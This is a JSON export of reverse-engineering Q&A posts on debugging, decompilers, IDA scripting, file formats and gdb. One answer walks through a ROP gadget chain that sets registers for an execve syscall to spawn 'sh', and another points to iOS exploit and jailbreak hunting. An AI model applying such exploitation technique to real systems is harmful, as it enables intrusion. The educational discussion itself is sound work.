        "Answer": "<p>I am wondering if you had made more progress on your checksum decoding.  I have a very similar problem and i think your method may also works for my case.  These are my data that I want to figure out the checksum method, which was long lost in earlier development:</p>\n\n<p>00 8a 51 0b a0 b8 a1\n00 8a 51 0b a1 b8 a3\n00 8a 51 0b a2 b8 23\n00 8a 51 0b a3 b8 25\n00 8a 51 0b a4 b8 a3\n00 8a 51 0b a5 b8 a5\n00 8a 51 0b a6 b8 25\n00 8a 51 0b a7 b8 27</p>\n\n<p>Greatly appreciate if you can discuss more on your progress which may contribute to solving this one.  Also, I found out I can swap nibble and it has the same checksum as well.  thank you in advanced.</p>\n"
    },
    {
        "Id": "11805",
        "CreationDate": "2016-01-20T13:17:58.610",
        "Body": "<p>I am debugging Challenge 6 from the 2014 FlareOn challenges.\nFor incorrect imput it displays the \"bad\" message.\nRunning <code>/i bad</code> returns <code>0x004f3bf2 hit0_0 \"bad\"</code>.\n<code>ps @ 0x004f3bf2</code> returns <code>bad</code> as expected.\nMy problem is that if I try to find reference to this memory address, <code>axt @ 0x004f3bf2</code>, <code>radare2</code> does not return anything, but the address is surely referenced:</p>\n\n<pre><code>pd 1 @ 0x43710c\n0x0043710c      bff23b4f00     movl $0x4f3bf2, %edi        ; \"bad\" @ 0x4f3bf2\n</code></pre>\n\n<p>I have written a simple application containig <code>const char* bad=\"bad\"; printf(\"%s\\n\", bad);</code>. In this case using the steps from above <code>radare2</code> correctly identifies the line calling <code>printf</code>.</p>\n",
        "Title": "radare2 does not show reference to memory address",
        "Tags": "|radare2|",
        "Answer": "<p>This is because radare2 doesn't come with <a href=\"http://radare.today/posts/analysis-by-default/\" rel=\"nofollow\">analysis by default</a>, moreover, it doesn't have (yet?) great analysis capabilities. The reason why (beside the lack of time/interest/contributors of course) is explained in the previous link.</p>\n\n<p>Also, please note that the string isn't referenced: during the disassembly, radare2 will detect strings and tell you about them, but this doesn't mean that it will add them to its internal database.</p>\n"
    },
    {
        "Id": "11812",
        "CreationDate": "2016-01-20T20:22:45.390",
        "Body": "<p>I have app that used to display a message \"processing\" after clicking OK button then another message \"done\", but now it doesn't. So I got reverse it and see whats happening, but it turns out that the way of searching for strings doesn't work, so  I searched for the <code>messagebox</code> API but I found <code>messageboxA</code> twice and <code>MessageboxW</code> once and they both seem not be used for that.</p>\n\n<p>So, I would like to know if it's possible that the message could be displayed without the use of <code>MessageBox</code> API or even DLL can display the message without the API?\nplease help</p>\n",
        "Title": "is ther a way an app can display a message without the use of messagebox API?",
        "Tags": "|windows|patch-reversing|delphi|",
        "Answer": "<ol>\n<li><p><strong>First you need to determine if it is windows message box or not.</strong></p>\n\n<p>What kind of message is in the message box (custom/standard <strong>win32</strong>/compilation of system strings)? Also an screen-shot would be nice if possible (so we can see more...) If you can make it work on some test machine then check also the <strong>CLASS_ID</strong> of the message box it can reveal if it is windows message box or custom <strong>VCL</strong> Form that just looks like it... You can obtain the <strong>Class_ID</strong> with</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/a/21330590/2521214\">How to find the active child form of MDI from runtime from 3th App</a></li>\n</ul>\n\n<p>but its deleted and you do not have enough rep on SO to see it so here the copied source (<strong>VCL C++</strong> so you need just port to <strong>Pascal</strong> if you do not have <strong>Borland C++</strong>) from it:</p></li>\n</ol>\n\n\n\n<pre><code>    //---------------------------------------------------------------------------\n    //--- Windows ver: 1.1 ------------------------------------------------------\n    //---------------------------------------------------------------------------\n    HWND getwindow(HWND hnd0,AnsiString nam,AnsiString cls=\"\")\n        {\n        int i,l,ln=nam.Length(),lc=cls.Length(),e;\n        char txt[256];\n        HWND hnd1;\n        if (hnd0==NULL) hnd1=GetTopWindow(hnd0);\n        else            hnd1=GetWindow(hnd0,GW_HWNDNEXT);\n        for (;;)\n            {\n            e=1;\n            if (hnd1==hnd0) break;\n            if (hnd1==NULL) break;\n            l=GetWindowText(hnd1,txt,256);\n            if (e) { if (l&gt;ln) l=ln; if (l&lt;ln) e=0; else for (i=0;i&lt;l;i++) if (txt[i]!=nam[i+1]) { e=0; break; } }\n            l=RealGetWindowClass(hnd1,txt,256);\n            if (e) { if (l&gt;lc) l=lc; if (l&lt;lc) e=0; else for (i=0;i&lt;l;i++) if (txt[i]!=cls[i+1]) { e=0; break; } }\n            if (e) return hnd1;\n            hnd0=hnd1;\n            hnd1=GetWindow(hnd0,GW_HWNDNEXT);\n            }\n        return NULL;\n        };\n    //---------------------------------------------------------------------------\n    HWND getsubwindow(HWND hndp,HWND hnd0,AnsiString nam,AnsiString cls=\"\")\n        {\n        int i,l,ln=nam.Length(),lc=cls.Length(),e;\n        char txt[256];\n        HWND hnd1;\n        if (hnd0==NULL) hnd1=GetTopWindow(hnd0);\n        else            hnd1=GetWindow(hnd0,GW_HWNDNEXT);\n        for (;;)\n            {\n            e=1;\n            if (hnd1==hnd0) break;\n            if (hnd1==NULL) break;\n            if (GetParent(hnd1)!=hndp) e=0;\n            l=GetWindowText(hnd1,txt,256);\n            if (e) { if (l&gt;ln) l=ln; if (l&lt;ln) e=0; else for (i=0;i&lt;l;i++) if (txt[i]!=nam[i+1]) { e=0; break; } }\n            l=RealGetWindowClass(hnd1,txt,256);\n            if (e) { if (l&gt;lc) l=lc; if (l&lt;lc) e=0; else for (i=0;i&lt;l;i++) if (txt[i]!=cls[i+1]) { e=0; break; } }\n            if (e) return hnd1;\n            hnd0=hnd1;\n            hnd1=GetWindow(hnd0,GW_HWNDNEXT);\n            }\n        return NULL;\n        };\n    //---------------------------------------------------------------------------\n    bool getwindows(HWND &amp;hnd,AnsiString &amp;nam,AnsiString &amp;cls)\n        {\n        int i,l;\n        char txt[256];\n        HWND hnd0=hnd;\n        nam=\"\"; cls=\"\";\n        if (hnd0==NULL) hnd=GetTopWindow(hnd0);\n        else            hnd=GetWindow(hnd0,GW_HWNDNEXT);\n        if (hnd==hnd0) { hnd=NULL; return false; }\n        if (hnd==NULL) { hnd=NULL; return false; }\n        l=GetWindowText(hnd,txt,256);       for (i=0;i&lt;l;i++) nam+=txt[i];\n        l=RealGetWindowClass(hnd,txt,256);  for (i=0;i&lt;l;i++) cls+=txt[i];\n        return true;\n        };\n    //---------------------------------------------------------------------------\n    //---------------------------------------------------------------------------\n    //---------------------------------------------------------------------------\n</code></pre>\n\n<p>It is written in <strong>BDS2006 Turbo C++</strong> and use <strong>VCL</strong> so you need to convert it to your Language. Actually it uses only <code>AnsiString</code> from <strong>VCL</strong> so just change it to any string you have. It is <strong>WinAPI</strong> based so include \"Windows.h\"</p>\n\n<p>Here is some example of usage:</p>\n\n\n\n<pre><code>    HANDLE hnd,hnd0;\n    AnsiString nam,cls;\n    AnsiString s,t=\"\";\n    for (hnd=NULL;;)\n        {\n        if (!getwindows(hnd,nam,cls)) break;    // get hnd,name and class\n        hnd0=GetParent(hnd);            // get parent hnd\n        if (hnd0!=Application-&gt;Handle) continue;// filter out unwanted windows\n        // here process found window or add it to list or what ever\n        // for example add to memo-&gt;Lines-&gt;Add(...) so you obtain a list of all windows ...\n        s=AnsiString().sprintf(\"%X\",hnd); while (s.Length()&lt; 8) s=\"0\"+s; t+=s+\"h \";\n        s=cls;                            while (s.Length()&lt;32) s=s+\" \"; t+=s+\" \";\n        s=nam;                            while (s.Length()&lt;32) s=s+\" \"; t+=s+\"\\r\\n\";\n        }\n    mm_log-&gt;Text=t; // just my memo\n</code></pre>\n\n<p>Here few lines of the <strong>unfiltered</strong> output:</p>\n\n<pre><code>    Handle:   Class_ID:                        Name\n    0003060Ch TTokenWindow                     CodeParamWindow                 \n    00030374h ComboLBox                                                        \n    000100F8h tooltips_class32                                                 \n    000100FAh TaskListThumbnailWnd                                             \n    000100E6h tooltips_class32                                                 \n    000100E8h tooltips_class32                                                 \n    000100ECh tooltips_class32                                                 \n    000100EEh tooltips_class32                                                 \n    000100D0h tooltips_class32                                                 \n    000100E4h tooltips_class32                                                 \n    000100C8h Button                           Start                           \n    00030118h tooltips_class32                                                 \n    0003013Eh tooltips_class32                                                 \n    00040122h tooltips_class32                                                 \n    00090102h tooltips_class32                                                 \n    000100C2h Shell_TrayWnd                                                    \n    000303ECh TaskSwitcherOverlayWnd                                           \n    00010240h IME                              Default IME                     \n    0001023Eh TaskSwitcherWnd                  Task Switching                  \n    00030376h ComboLBox                                                        \n    000403A0h Auto-Suggest Dropdown                                            \n    00010108h CiceroUIWndFrame                 CiceroUIWndFrame                \n    000100C6h MSCTFIME UI                      MSCTFIME UI                     \n    000100C0h IME                              Default IME                     \n    00010158h tooltips_class32                                                 \n    00010246h ATL:000007FEF0EF52C0             Network Flyout                  \n    00010180h CDA Server Class                 Administrator : CDA Server      \n    00010182h IME                              Default IME                     \n    0001008Ch CiceroUIWndFrame                 CiceroUIWndFrame                \n    0001008Ah CiceroUIWndFrame                 TF_FloatingLangBar_WndTitle     \n    000303CEh tooltips_class32                                                 \n    0003061Eh TForm1                           Project Euler                   \n    00090566h TApplication                     Project1                        \n    0003061Ah TPUtilWindow                                                     \n    00050610h IME                              Default IME                     \n    00090386h MSCTFIME UI                      MSCTFIME UI                     \n    00210408h IME                              Default IME                     \n    000B0416h TEditWindow                      Unit1.cpp                       \n    0007057Ch TWatchWindow                     Watch List                      \n    000105B2h TTabDockHostForm                 Project1.bdsproj - Project Manager\n</code></pre>\n\n<p>As you can see there will be many handles (all the visual components are like window so you need to filter out many things ... for example find the <code>hnd</code> of your Message box App. and then show only handles which have the same parrent <code>hnd0</code>.</p>\n\n<p>For example I just created a message box to get the <strong>Class_ID</strong>:</p>\n\n<pre><code>    int ret=MessageDlg(\"Test message\",mtCustom,TMsgDlgButtons(mrOk),-1); // cls = \"TMessageForm\"\n</code></pre>\n\n<p>To get the parent handle you need to search the unfiltered list for class <code>TApplication</code>. I used <code>Application-&gt;Handle</code> instead as I test this directly in the same App.</p>\n\n<ol start=\"2\">\n<li><p><strong>if the message box is native win32</strong></p>\n\n<p>Then that does not necessarily mean the App calls <strong>winapi</strong> directly. Most likely it uses some <strong>VCL</strong> encapsulation of it instead. So browns the <strong>Delphi IDE</strong> help for any message box function names ... test them and look if the <strong>Class_ID</strong> matches with your app ...</p></li>\n<li><p><strong>if the message box is not native win32</strong></p>\n\n<p>Then it is most likely normal <strong>VCL</strong> window. The class name is then the name of the <strong>Delphi</strong> window class like <code>TForm1</code>. Name of window is usually its <code>Caption</code> and for App the exe filename. In this case showing dialog is different:</p>\n\n<ul>\n<li>set position <code>Left,Top,Width,Height</code> or call <code>SetBounds()</code></li>\n<li>set the message can be a <code>TLabel,TEdit</code>,... <code>Text</code> or <code>Caption</code> property or directly rendered on <code>Canvas</code>.</li>\n<li>set <code>Visible=true</code> or use <code>ShowWindow,ShowModal</code> ...</li>\n</ul>\n\n<p>So you know what to look for ...</p></li>\n<li><p><strong>Text</strong></p>\n\n<p>For multilingual App the text is usually in some <code>*.ini</code> or <code>*.dll</code> file. In case of <strong>DLL</strong> the <strong>DLL</strong> can be compressed or encrypted so it is not easily visible. Try to search for files with Languages in filenames.</p></li>\n</ol>\n\n<p>Hope it helps a bit if you got more info let me know.</p>\n"
    },
    {
        "Id": "11827",
        "CreationDate": "2016-01-23T12:09:55.337",
        "Body": "<p>I wish to set a breakpoint on a call to a specific windows API function, e.g.-\nRegQueryValueExA()</p>\n\n<p>It is resolved at runtime in unknown stage of malware execution, and I wish to initiate manual debugging after this API is called.</p>\n\n<p>Is there an easy way other from detecting the moment it is resolved?\nI have some other lazy-ass solutions but I guess that there's  a proper approach to this issue.</p>\n",
        "Title": "Breaking on specific API",
        "Tags": "|debugging|winapi|breakpoint|",
        "Answer": "<p>It sounds like you're asking two questions here:</p>\n\n<ol>\n<li>How to have your debugger break when <code>RegQueryValueExA()</code> is called?</li>\n<li>How to have your debugger break when the address for <code>RegQueryValueExA</code> is resolved?</li>\n</ol>\n\n<p>For <strong>#1</strong>, you can just set a breakpoint on the first instruction of <code>advapi32!RegQueryValueExA</code>. Consult your debugger's documentation for how to set breakpoints.</p>\n\n<p>For <strong>#2</strong>, you'd need to do the following:</p>\n\n<ol>\n<li>Find the index of <code>RegQueryValueExA</code> in the <code>AddressOfNames</code> array from <code>advapi32.dll</code>'s <code>IMAGE_EXPORT_DIRECTORY</code>.</li>\n<li>Set a hardware-read breakpoint on the corresponding index in the <code>AddressOfFunctions</code> array from <code>advapi32.dll</code>'s <code>IMAGE_EXPORT_DIRECTORY</code>.</li>\n<li>When the hardware breakpoint gets hit, examine the callstack to see if the address of <code>RegQueryValueExA</code> was being resolved by code in your target module. If not, wait until the breakpoint is hit again and check again. Otherwise, you've found the code in your target module that resolves <code>RegQueryValueExA</code>.</li>\n</ol>\n"
    },
    {
        "Id": "11830",
        "CreationDate": "2016-01-23T22:03:01.087",
        "Body": "<p>An Android application I'm analyzing makes calls to a native library to generate a certain value. Here's an example of the native library function declaration from SMALI (Decompiled Java):</p>\n\n<pre><code>.method private native createAlgorithmSolver(II)J\n.end method\n\n.method private native solveAlgorithm(Ljava/lang/String;IJ)[I\n.end method\n</code></pre>\n\n<p>This makes sense. createAlgorithmSolver accepts two ints, and returns a long. solveAlgorithm accepts a 32 character string such as \"SM1r0WeJH6qxdfNua2zg7t8ITwQUZYn5\", and it accepts an int, and a long, and returns an int array.</p>\n\n<p>When I decompile the actual \".so\" file with IDA Hex-rays decompiler, I get this:</p>\n\n<pre><code>createAlgorithmSolver(int a1, int a2, unsigned int a3, int a4)\nsolveAlgorithm(int a1, int a2, int a3, unsigned int a4, signed int a5)\n</code></pre>\n\n<p>When I use \"Retargetable Decompiler\" (<a href=\"https://retdec.com\" rel=\"nofollow\">https://retdec.com</a>) with Python pseudo code, I get these function declarations:</p>\n\n<pre><code>def createAlgorithmSolver(a1, a2):\ndef solveAlgorithm(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17):\n</code></pre>\n\n<p>What's causing these weird discrepancies?</p>\n",
        "Title": "Discrepancies in function declarations from decompilers?",
        "Tags": "|ida|disassembly|c|android|java|",
        "Answer": "<p>JNI methods take an extra parameter of type JNIEnv*, which is a pointer to a table of function pointers. This is how JNI methods can make calls into the JVM, which is necessary to do anything nontrivial. </p>\n\n<p>So that accounts for the first int argument of the functions you listed. </p>\n\n<p>Also, the functions are non-static, so they obviously take a hidden <code>this</code> parameter. That accounts for the second argument. After that comes the source level parameters of the methods. In the first case, it's just two ints. In the second case, it's a String object (i.e. a jstring pointer), an int, and a long.</p>\n\n<p>However, the decompiler isn't smart enough to guess what the actual types of the parameters are meant to be - it just sees how many values are passed in registers and on the stack. Therefore, all the pointers show up as ints and the long shows up as a pair of ints. </p>\n"
    },
    {
        "Id": "11831",
        "CreationDate": "2016-01-23T22:57:27.963",
        "Body": "<p>Suppose, I have a new iPhone 6s with latest iOS, and I want to find vulnerabilities in iOS itself. iPhone is not jailbroken. How do I set up the proper environment for this? What software and/or hardware tools do I need to accomplish this?</p>\n\n<p>P.S.: Which component of iOS would you recommend me to start with? Which one is more likely to contain vulnerabilities that could result in jailbreak?</p>\n",
        "Title": "iOS exploit hunting environment",
        "Tags": "|disassembly|debugging|exploit|ios|fuzzing|",
        "Answer": "<p>try reading this book to get some answers:-</p>\n\n<p>iOS Hacker's Handbook\n<a href=\"http://eu.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html\" rel=\"nofollow\">http://eu.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html</a></p>\n\n<p>Covers iOS security architecture, vulnerability hunting, exploit writing, and how iOS jailbreaks work\nExplores iOS enterprise and encryption, code signing and memory protection, sandboxing, iPhone fuzzing, exploitation, ROP payloads, and baseband attacks\nAlso examines kernel debugging and exploitation\nCompanion website includes source code and tools to facilitate your efforts</p>\n"
    },
    {
        "Id": "11838",
        "CreationDate": "2016-01-24T11:34:17.593",
        "Body": "<p>I recently saw a video of someone doing some rop work. And I have a lot of trouble about what is going on. His setup is like this:</p>\n\n<pre><code>[garbage]\n[xor eax]\n[xor ebx]\n[address of \"sh\"]\n[pop ecx]\n[address of Null byte]\n[pop edx]\n[address of Null byte]\n[add eax 11]\n</code></pre>\n\n<p>The first instruction is <code>xor eax</code> (where <code>eip</code> return is) , and I don't understand where the <code>esp</code> is when there are the pop instructions</p>\n\n<p>Link to the video : <a href=\"https://youtu.be/uYHOxlYzH0A\" rel=\"nofollow\">https://youtu.be/uYHOxlYzH0A</a></p>\n",
        "Title": "Trouble understanding this rop chain",
        "Tags": "|assembly|buffer-overflow|",
        "Answer": "<p>The ROP chain uses gadgets, which are short code snippets performing a basic function. The instruction what you see in the Python script in the video are the gadgets names, which were selected in the beginning.<br>\nAs an example, the <code>XOREAX</code> gadget was a code snippet at address <code>0x080512c0</code>, which contains the following instructions:</p>\n\n<pre><code>xor eax, eax\nret\n</code></pre>\n\n<p>So, whet the <code>XOREAX</code> gadget is called, the <code>eax</code> register is cleared and a <code>ret</code> instruction is executed. Because the <code>ret</code> load an address from the stack and jumps to it, this instruction is used to call the next gadget.</p>\n\n<p>What you see in the Python script is the construction of the payload, which will be placed into the stack. The first address will be the overwritten return address and the next values will be the addresses of the gadgets. In some places in the payload you see <code>SH</code> and <code>NULL</code>. It is because the previous gadget load some value from the stack into a register, so the value should be placed into the stack also. The <code>SH</code> is an address points to the <code>sh</code> string, while the <code>NULL</code> is an address points to a <code>0</code> value in the memory.</p>\n\n<p>So, the whole ROP chain is only initializes the registers to execute a system call.</p>\n\n<pre><code>XOREAX                             -&gt; clears EAX\nPOPEBX, SH                         -&gt; moves 'sh' string to EBX\nPOPECX, NULL                       -&gt; moves a pointer to a NULL value to ECX\nPOPEDX, NULL                       -&gt; moves a pointer to a NULL value to EDX\nADDEAX3, ADDEAX3, ADDEAX3, ADDEAX2 -&gt; set EAX to 11\nSYSCALL                            -&gt; perform syscall instruction\n</code></pre>\n"
    },
    {
        "Id": "11846",
        "CreationDate": "2016-01-25T16:54:54.053",
        "Body": "<p>I'm trying to reverse-engineer the file format of a game's save files. The game is written in Unity, thus .NET, so it was possible to view an approximated code with RedGate Reflector.</p>\n\n<p>Right now I know the format is a header, followed by a Deflated stream of map data, which is created with ICSharpZipLib.</p>\n\n<p>The header is composed of two strings, prefixed by a byte with their length. The first string is just a format specifier, the second is a version identifier. After those strings, there is a byte denoting if the contents are compressed or not (but that's hardcoded into the game to always compress).</p>\n\n<pre><code>&lt;byte flen&gt; &lt;byte[flen] format&gt; &lt;byte vlen&gt; &lt;byte[vlen] version&gt; &lt;byte compress&gt; &lt;data&gt;\n</code></pre>\n\n<p>The game reads the file like this:</p>\n\n<ol>\n<li>open file for reading, create a <code>BinaryReader</code> around the stream.</li>\n<li>read format specifier with <code>ReadString</code></li>\n<li>read version with <code>ReadString</code>  and <code>int.Parse</code>, warning the player if it's an old save</li>\n<li>use <code>ReadBoolean</code> to check if it's a compressed file\n\n<ul>\n<li>if true, wraps the file stream in a <code>InflaterInputStream</code></li>\n</ul></li>\n<li>read the contents of the file into a string, and pass it to other functions</li>\n</ol>\n\n<p>My trouble is reading the contents, I've written a simple C# program that mimics the game's behaviour, using the exact same library version, but I get a \"Unexpected EOF\". Editing the file to remove the non-compressed header and opening it with other command-line inflate utilities also results in that error. The file is guaranteed valid, since the game can open it without problem.</p>\n\n<p>Below are two example files. The game in question is called Atmosphir, and can be downloaded <a href=\"http://onemoreblock.com/\" rel=\"nofollow\">here</a>.</p>\n\n<p><a href=\"https://mega.nz/#!f5QFHJ6T!55LvsPFaaAp7Y-ZS3GbLPHg8Ohh-p-5M0AR_Hb7jd1c\" rel=\"nofollow\">https://mega.nz/#!f5QFHJ6T!55LvsPFaaAp7Y-ZS3GbLPHg8Ohh-p-5M0AR_Hb7jd1c</a></p>\n\n<p><a href=\"https://mega.nz/#!C5xxEapL!ZZ9Tg2kjQetr9KXmfBn5rBc5c5BZ1UUXeqSLJvfJiyQ\" rel=\"nofollow\">https://mega.nz/#!C5xxEapL!ZZ9Tg2kjQetr9KXmfBn5rBc5c5BZ1UUXeqSLJvfJiyQ</a></p>\n",
        "Title": "Compressed stream unopenable with external tools",
        "Tags": "|.net|decompress|",
        "Answer": "<p>Perhaps your code tries to read more records than specified in the compressed header?</p>\n\n<p>My code below works just fine (with <code>\\Atmosphir\\Atmosphir_Data\\Atmosphir_Data\\Managed\\ICSharpCode.SharpZipLib.dll</code> as a reference):</p>\n\n<pre><code>using System;\nusing System.IO;\nusing ICSharpCode.SharpZipLib.Zip.Compression.Streams;\n\nnamespace Atmo\n{\n    class Program\n    {\n        static void Main(string[] args)\n        {\n            StreamReader sr = new StreamReader(\"cc16.atmo\");\n            BinaryReader br = new BinaryReader(sr.BaseStream);\n            Console.WriteLine(\"Format: \" + br.ReadString());\n            Console.WriteLine(\"Version: \" + br.ReadString());\n            Console.WriteLine(\"Compressed: \" + br.ReadBoolean());\n            br = new BinaryReader(new InflaterInputStream(sr.BaseStream));\n            int total = br.ReadInt32();\n            for (int i = 0; i &lt; total; i++)\n            {\n                Console.WriteLine(br.ReadString());\n            }\n        }\n    }\n}\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>Format: AtmoMap\nVersion: 5\nCompressed: True\nmi_flag_finish\nmi_block_color_white\nmi_wood_sticks\nmi_block_color_green\nmi_block_bricks_1q_cylinder_straight\nmi_block_bricks\nmi_block_bricks_1q_pipe\nmi_ladder_creeper_green\nmi_gravity_area_uniform\nmi_sandcastle_corner\nmi_sandcastle_connection\nmi_condition_trigger\nmi_skybox_realistic\nmi_skybox_adventure\nmi_info_sticker\nmi_condition_count\nmi_skybox_halloween_nightsky\nmi_skybox_afternoon\nmi_condition_area\nmi_bark_slice_platform\nmi_waypoint\nmi_block_color_blue\nmi_block_bricks_white_ledge\nmi_ladder_hanging\nmi_moving_platform_disc\nmi_block_bricks_lightbrown\nmi_block_candy_vanilla_cake\nmi_candy_floor_orange\nmi_sandcastle_tower_top\nmi_sandcastle_tower\nmi_block_bricks_white\nmi_torch\nmi_block_bricks_white_2b_diagonal\nmi_floor_green\nmi_block_monkey\nmi_block_bricks_half\nmi_bridge_hanging\nmi_block_bricks_lightbrown_2b_diagonal\nmi_flag_checkpoint\nmi_muka_boss\nmi_death_skull\nmi_muka_shaman\nmi_muka_axe_warrior\nmi_muka_scout\nmi_muka_crypt_keeper\nmi_candy_gumdrops_yellow\nmi_block_candy_gingerbread_glazed_yellow\nmi_candy_gumdrops_green\nmi_candy_sugartree_red\nmi_candy_sugartree_yellow\nmi_candy_floor_violet\nmi_candy_sugartree_blue\nmi_candy_floor_red\nmi_block_candy_gingerbread\nmi_block_candy_gingerbread_glazed_pink\nmi_candy_gumdrops_red\nmi_candy_floor_blue\nmi_floor_muka\nmi_floor_caved\nmi_muka_sticks\nmi_block_wooden_bark\nmi_torchwall_steel\nmi_totem\nmi_floor_river_grass\nmi_plant\nmi_block_crate\nmi_flag_start\nmi_floor_sand\nmi_gate_skull\nmi_muka_tent_open\nmi_stonehead\nmi_muka_openbox\nmi_block_bricks_stone\nmi_mutation_ammo\nmi_fence_straight\nmi_2d_force_area\nmi_block_monkey_broken\nmi_block_bricks_white_floor\nmi_block_sand\nmi_block_color_black\nmi_block_color_yellow\nmi_block_color_lightbrown\nmi_block_color_lightgreen\nmi_block_color_red\nmi_block_color_purple\nmi_block_candy_gingerbread_sprinkled\nmi_block_magma2\nmi_block_color_brown\nmi_river_water\nmi_stones\nmi_big_flowers\nmi_river_reed\nmi_block_sanddirt\nmi_block_river_earth\n</code></pre>\n"
    },
    {
        "Id": "11868",
        "CreationDate": "2016-01-28T08:08:27.503",
        "Body": "<p>I'm trying to learn how to use the IDA pro debugger (having used Visual Studio's C++ debugger for years) and I'm struggling to find how to switch the code/asm view back to the current instruction that debugger broke on?</p>\n\n<p>Similar to the \"Show next statement\" button in Visual Studio:</p>\n\n<p><a href=\"https://i.stack.imgur.com/IlPpw.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/IlPpw.png\" alt=\"enter image description here\"></a></p>\n\n<p>PS. Here's my situation. Say, I broke on some instruction and then using IDA's \"graph view\" navigated away from that instruction. How do I go back?</p>\n",
        "Title": "What is the command to \"go to current statement\" in IDA debugger?",
        "Tags": "|ida|windows|debuggers|",
        "Answer": "<p>You can navigate back to the previous position simply by pressing <kbd>ESC</kbd>. If you want to back to the current IP address, just press the right mouse button a select <kbd>Jump to IP</kbd></p>\n\n<p>.\n<a href=\"https://i.stack.imgur.com/ZcBC1.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/ZcBC1.png\" alt=\"Jump To IP\"></a></p>\n\n<p>Alternatively you can press <kbd>G</kbd> and set <code>EIP</code> as address.</p>\n"
    },
    {
        "Id": "11869",
        "CreationDate": "2016-01-28T08:15:07.547",
        "Body": "<p>I'm just learning the IDA pro debugger, so I apologize if this is something simple. Say, if I opened a debugee process and started stepping through it with a debugger (WinDbg) and then want to look up the contents of memory. How do I change the address in the hex view pane?</p>\n\n<p>(Circled in red in this screenshot)</p>\n\n<p><a href=\"https://i.stack.imgur.com/H5OTp.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/H5OTp.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "How to change address in the hex view in IDA debugger?",
        "Tags": "|ida|windows|debugging|windbg|",
        "Answer": "<p>Click on the hex view plane and press <kbd>G</kbd> to change the address.</p>\n"
    },
    {
        "Id": "11874",
        "CreationDate": "2016-01-28T12:44:24.300",
        "Body": "<p>I have a text file which contains a list of function name and address pairs, structured like this :</p>\n\n<pre><code>194C:841B LoadMessage\n194C:8429 ShowDialog\n...\n</code></pre>\n\n<p>Is there a way (eg: script, automation, ...) to automatically rename all relation functions of the IDA disassembly according the text file ?</p>\n",
        "Title": "How to automatically rename some IDA functions from a given list?",
        "Tags": "|ida|idapython|automation|script|",
        "Answer": "<p>This way to automate things called IDAPython, its documentation is <a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/\" rel=\"noreferrer\">here</a>:</p>\n\n<p>1 - Save this script somewhere, remember where.</p>\n\n<pre><code>#Not used, not debbugged, not ran even once\n#Use on your own risk, beware errors\n\nimport idaapi\nimport idautils\nimport idc\n\ndef do_rename(l):\n    splitted = l.split()\n    straddr = splitted[0]\n    strname = splitted[1].replace(\"\\r\", \"\").replace(\"\\n\", \"\")\n\n    if straddr.find(\":\") != -1: #assuming form segment:offset\n        #removing segment, offset should be unique, if it isn't so, we should handle it differently\n        straddr = straddr.split(\":\")[1]\n\n    eaaddr = int(straddr, 16)\n    idc.MakeCode(eaaddr)\n    idc.MakeFunction(eaaddr)\n    idc.MakeNameEx(int(straddr, 16), strname, idc.SN_NOWARN)\n\n\nif __name__ == \"__main__\":\n    f = open( \"your_file_name\", \"r\")\n    for l in f:\n        do_rename(l)\n    f.close()\n</code></pre>\n\n<p>In IDA, open File-->Script file, chose the script and run it.\nNote that you should insert your file name and verify that the address is converted well. </p>\n\n<p>Hope it gives some kind of direction.</p>\n"
    },
    {
        "Id": "11876",
        "CreationDate": "2016-01-28T21:31:46.010",
        "Body": "<p>Is there any way to call a function on a remote target that's attached via JTAG? Currently I have OpenOCD hooked up to a target and I'm attached with gdb, and I know the address of the function I want to call as well as its signature.</p>\n\n<p>With a normal binary and gdb, the following (somewhat surprisingly) works. Supposing I have a function like:</p>\n\n<pre><code>static int f(int x) {\n    printf(\"The value of x is %d\\n\", x);\n    return x*2;\n}\n</code></pre>\n\n<p>I can run that function, even in a stripped binary, under gdb, as long as I know its address:</p>\n\n<pre><code>cosimo:~ moyix$ gdb -q --args ./hello \nReading symbols from ./hello...(no debugging symbols found)...done.\n(gdb) break *0x100000ee0\nBreakpoint 1 at 0x100000ee0\n(gdb) r\nStarting program: /Users/moyix/hello \n\nBreakpoint 1, 0x0000000100000ee0 in _mh_execute_header ()\n(gdb) call (0x100000f20)(10)\nThe value of x is 10\n$1 = 20\n</code></pre>\n\n<p>But trying to do something similar with gdb hooked up to OpenOCD gives me:</p>\n\n<pre><code>moyix@dev:~/git/openocd-code$ arm-none-eabi-gdb -q\n(gdb) target remote localhost:3333\nRemote debugging using localhost:3333\n0x8006b06c in ?? ()\n(gdb) call (0xC0066E08)(0x10000, 4, 0, 0, 0)\nEntry point address is not known.\n(gdb) \n</code></pre>\n\n<p>I gather from a bit of googling that it's because <a href=\"https://stackoverflow.com/questions/14549440/gdb-function-entry-point-not-known\">gdb wants somewhere to place its dummy stack frame</a>, and since it has no symbol information or even an entry point for the binary it doesn't know where to put it. Is there any way to manually give it a location for its dummy frame (with the hope that it'll put things back the way they were once the function executes...)?</p>\n",
        "Title": "Call function in remote (OpenOCD) target from gdb",
        "Tags": "|gdb|jtag|",
        "Answer": "<p>I have come across this question for the same issue on a different use case: debugging an ELF binary through <code>qemu-arm</code>, trying to call code from the attached process.</p>\n\n<p>I could give <code>gdb</code> the information it missed, designating the target binary file as a symbol file (using the <code>symbol-file</code> command).</p>\n\n<p><a href=\"https://sourceware.org/gdb/onlinedocs/gdb/Files.html\" rel=\"nofollow\">https://sourceware.org/gdb/onlinedocs/gdb/Files.html</a></p>\n\n<p>Of course, it might be more complicated in your case. Linking a binary file using the live in-device addresses might do the trick, although it may not be trivial.</p>\n"
    },
    {
        "Id": "11889",
        "CreationDate": "2016-01-30T01:38:43.957",
